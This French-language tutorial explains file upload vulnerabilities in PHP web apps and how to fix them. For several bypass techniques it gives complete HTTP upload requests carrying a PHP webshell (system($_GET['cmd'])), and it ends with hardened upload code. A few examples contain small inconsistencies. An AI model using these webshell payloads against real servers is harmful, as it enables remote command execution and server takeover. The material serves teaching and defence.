Les failles d'upload : comprendre, exploiter et corriger
Qu’est ce qu’une faille upload ?
Les failles d’upload sont une vulnérabilité courante sur les sites web qui permettent aux utilisateurs de télécharger des fichiers. Les attaquants peuvent exploiter cette vulnérabilité en téléchargeant des fichiers malveillants sur le serveur, ce qui peut entraîner des compromissions de sécurité. Dans cet article, nous allons expliquer comment fonctionnent les failles d’upload, comment les attaquants peuvent les exploiter et comment les corriger.
Comment fonctionnent les failles d’upload
Les failles d’upload se produisent lorsqu’un site web ne valide pas correctement les fichiers téléchargés par les utilisateurs. Les attaquants peuvent profiter de cette vulnérabilité en téléchargeant des fichiers malveillants sur le serveur, tels que des webshells, qui permettent aux attaquants de prendre le contrôle du serveur.
Il existe plusieurs techniques utilisées pour exploiter les failles d’upload, notamment :
- Le contournement de l’extension de fichier : les attaquants peuvent renommer un fichier malveillant avec une extension de fichier autorisée pour contourner les restrictions de téléchargement basées sur l’extension de fichier.
- L’utilisation du caractère null byte : cette technique est spécifique à PHP 5 et inférieur. Les attaquants peuvent ajouter un caractère null à la fin d’un nom de fichier pour masquer la véritable extension de fichier.
- L’utilisation de doubles extensions : les attaquants peuvent ajouter des extensions de fichier supplémentaires à un fichier malveillant pour contourner les restrictions de téléchargement basées sur l’extension de fichier.
- La manipulation du type MIME : les attaquants peuvent modifier les informations de type MIME d’un fichier pour tromper le serveur et permettre le téléchargement de fichiers malveillants.
- L’utilisation du fichier
.htaccess
: les attaquants peuvent utiliser un fichier.htaccess
pour contourner les restrictions de téléchargement en ajoutant des directives pour autoriser le téléchargement de fichiers malveillants. - Le contournement du magic byte : les attaquants peuvent modifier le magic byte d’un fichier malveillant afin de tromper les programmes de lecture de fichiers et de les exécuter de manière inattendue.
Exploitation de failles d’upload
Pour exploiter une faille d’upload, un attaquant doit télécharger un fichier malveillant sur le serveur. Voici des exemples de requêtes HTTP qui peuvent être utilisées pour télécharger un fichier malveillant sur le serveur en exploitant différentes failles d’upload :
Contournement de l’extension de fichier
Requête HTTP pour contourner les restrictions de téléchargement basées sur l’extension de fichier :
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--
Dans cet exemple, le fichier malveillant est renommé avec une extension .jpg
pour contourner les restrictions de téléchargement basées sur l’extension de fichier.
Le contenu du fichier est un code webshell qui permet à l’attaquant de prendre le contrôle du serveur via l’URL “http://example.com/uploads/webshell.php.jpg?cmd=whoami”.
Utilisation du caractère null byte
Requête HTTP pour exploiter la vulnérabilité du caractère null byte :
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php%00.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--
Dans cet exemple, le nom du fichier est webshell.php%00.jpg
, où %00
représente le caractère null. Ce caractère est ajouté à la fin du nom de fichier pour masquer la véritable extension de fichier et tromper le serveur. Le contenu du fichier est un code webshell qui permet à l’attaquant de prendre le contrôle du serveur via l’URL http://example.com/uploads/webshell.php?cmd=whoami
.
Utilisation de doubles extensions
Requête HTTP pour exploiter la vulnérabilité des doubles extensions :
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.jpg.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--
Dans cet exemple, le nom du fichier est webshell.jpg.php
, qui a deux extensions de fichier. Le contenu du fichier est un code webshell qui permet à l’attaquant de prendre le contrôle du serveur via l’URL "http://example.com/uploads/webshell.jpg.php?cmd=whoami".
Exploitation de la vulnérabilité du Magic Byte :
Les octets magiques, également connus sous le nom de Magic Byte, sont une séquence d’octets situés au début d’un fichier qui permettent de déterminer son type de fichier. Les contrôles de sécurité basés sur les octets magiques peuvent être contournés en modifiant les octets magiques pour qu’ils correspondent à un type de fichier autorisé.
Voici un exemple de code PHP vulnérable :
$file = $_FILES['file']['tmp_name'];
$mime = file_mime_type($file);
if (strpos($mime, 'image') === false) {
die('File is not a supported image format.');
}
Pour exploiter cette vulnérabilité, un attaquant peut modifier les octets magiques d’un fichier malveillant pour qu’ils correspondent à un type de fichier autorisé. Voici un exemple de requête HTTP pour exploiter la vulnérabilité du Magic Byte :
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg
\xFF\xD8\xFF\xE0<?php system($_GET['cmd']); ?>
Dans cet exemple, le fichier malveillant a été renommé en webshell.php
pour tromper le serveur, et les octets magiques ont été remplacés par les octets magiques JPEG (FFD8FFE0
en brute) pour éviter la détection du serveur.
Pour corriger cette vulnérabilité, il est recommandé d’utiliser les fonctions PHP spécifiques au type MIME pour valider le type de fichier. Par exemple, la fonction finfo_file() peut être utilisée pour récupérer le type MIME réel du fichier. Voici un exemple de code PHP corrigé :
$file = $_FILES['file']['tmp_name'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file);
if (!in_array($mime, array('image/jpeg', 'image/png', 'image/gif'))) {
die('File is not an allowed image type');
}
En utilisant cette méthode, le type MIME réel du fichier est vérifié, ce qui permet de détecter les tentatives d’exploitation de la vulnérabilité du Magic Byte.
Manipulation du type MIME
Requête HTTP pour exploiter la vulnérabilité de la manipulation du type MIME :
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 244
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="type"
image/jpeg
-----------------------------19662891931763351995939054936--
Dans cet exemple, le type MIME est défini sur image/jpeg
pour tromper le serveur. Le contenu du fichier est un code webshell qui permet à l’attaquant de prendre le contrôle du serveur via l’URL “http://example.com/uploads/webshell.php?cmd=whoami”.
Utilisation du fichier .htaccess
Requête HTTP pour exploiter la vulnérabilité de l’utilisation du fichier .htaccess
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 197
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: text/plain
<FilesMatch "webshell\.uwu$">
ForceType application/x-httpd-php
</FilesMatch>
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.uwu"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--
Dans cet exemple, un fichier .htaccess
est ajouté avec un code qui modifie le type MIME du fichier webshell.uwu
en application/x-httpd-php
. Cela permet d’exécuter le fichier webshell.uwu
comme un script PHP, même s’il a une extension de fichier différente. Le contenu du fichier webshell.uwu
est le même que les exemples précédents, un code webshell qui permet à l’attaquant de prendre le contrôle du serveur via l’URL "http://example.com/uploads/webshell.php?cmd=whoami".
Comment éviter ou minimiser les risques
Il existe plusieurs moyens de prévenir ou de minimiser les risques de vulnérabilités d’upload :
Limiter les types de fichiers acceptés
Une des mesures de sécurité les plus simples à prendre est de limiter les types de fichiers acceptés par l’application à des formats sûrs et connus. Cela peut être fait en vérifiant l’extension de fichier ou le type MIME du fichier uploadé.
Vérification de l’extension de fichier
La vérification de l’extension de fichier est une mesure de sécurité courante pour restreindre les types de fichiers téléchargés. Cependant, cette méthode est facilement contournable en renommant le fichier uploadé avec une extension différente. Par conséquent, il est recommandé de vérifier le type MIME du fichier uploadé en plus de l’extension de fichier.
Vérification du type MIME
La vérification du type MIME est une méthode plus fiable pour vérifier le type de fichier uploadé. Cela peut être fait en utilisant la fonction PHP finfo_file()
pour récupérer le type MIME du fichier uploadé.
Vérification des droits d’accès
Les droits d’accès au dossier d’upload doivent être correctement configurés pour éviter les téléchargements malveillants. Les dossiers d’upload ne doivent pas être accessibles en écriture par tous les utilisateurs.
Renommer le fichier uploadé
Pour éviter la manipulation de l’extension de fichier, il est recommandé de renommer le fichier uploadé en utilisant un nom de fichier unique. Cela peut être fait en utilisant la fonction PHP uniqid()
pour générer un nom de fichier unique.
Restreindre les permissions d’exécution
Il est recommandé de restreindre les permissions d’exécution sur les fichiers uploadés pour empêcher l’exécution de scripts malveillants. Cela peut être fait en supprimant les permissions d’exécution pour les fichiers uploadés
Voici un exemple de code corrigé qui implémente les mesures de sécurité mentionnées précédemment :
<?php
/* Vérification des droits d'accès au dossier d'upload */
$upload_dir = '/path/to/upload/dir';
if (!is_writable($upload_dir)) {
die('Erreur : Le dossier d\'upload n\'est pas accessible en écriture');
}
/* Vérification du type MIME du fichier uploadé */
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
$allowed_mime_types = array('image/jpeg', 'image/png', 'image/gif');
if (!in_array($mime_type, $allowed_mime_types)) {
die('Erreur : Type de fichier non autorisé');
}
/* Renommage du fichier uploadé avec un nom unique */
$file_name = uniqid() . '_' . $_FILES['file']['name'];
$upload_file = $upload_dir . '/' . $file_name;
/* Vérification de l'extension de fichier (en option) */
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
$file_extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!in_array($file_extension, $allowed_extensions)) {
die('Erreur : Extension de fichier non autorisée');
}
/* Vérification de la taille du fichier uploadé (en option) */
$max_file_size = 5 * 1024 * 1024; // 5 Mo
if ($_FILES['file']['size'] > $max_file_size) {
die('Erreur : La taille du fichier dépasse la limite autorisée');
}
/* Déplacement du fichier uploadé vers le dossier d'upload */
if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_file)) {
echo 'Le fichier a été téléchargé avec succès';
} else {
echo 'Erreur : Le téléchargement a échoué';
}
Ce code effectue une série de vérifications pour minimiser les risques de vulnérabilités d’upload. Il vérifie les droits d’accès au dossier d’upload, le type MIME du fichier uploadé, renomme le fichier uploadé avec un nom unique, vérifie l’extension de fichier (en option) et la taille du fichier uploadé (en option), et enfin déplace le fichier uploadé vers le dossier d’upload si toutes les vérifications sont passées.
⚠️ Il est important de souligner que la sécurité informatique n’est jamais absolue. Bien que les mesures de sécurité mentionnées précédemment peuvent réduire les risques de vulnérabilités d’upload, il est toujours possible que des vulnérabilités propres à la technologie utilisée soient découvertes à l’avenir.
Il est donc recommandé de prendre les mesures de sécurité avec des pincettes et de rester à l’affût des nouvelles vulnérabilités et des correctifs de sécurité. De plus, il est vivement conseillé de maintenir les systèmes et les applications à jour avec les dernières mises à jour de sécurité pour réduire les risques de vulnérabilités connues.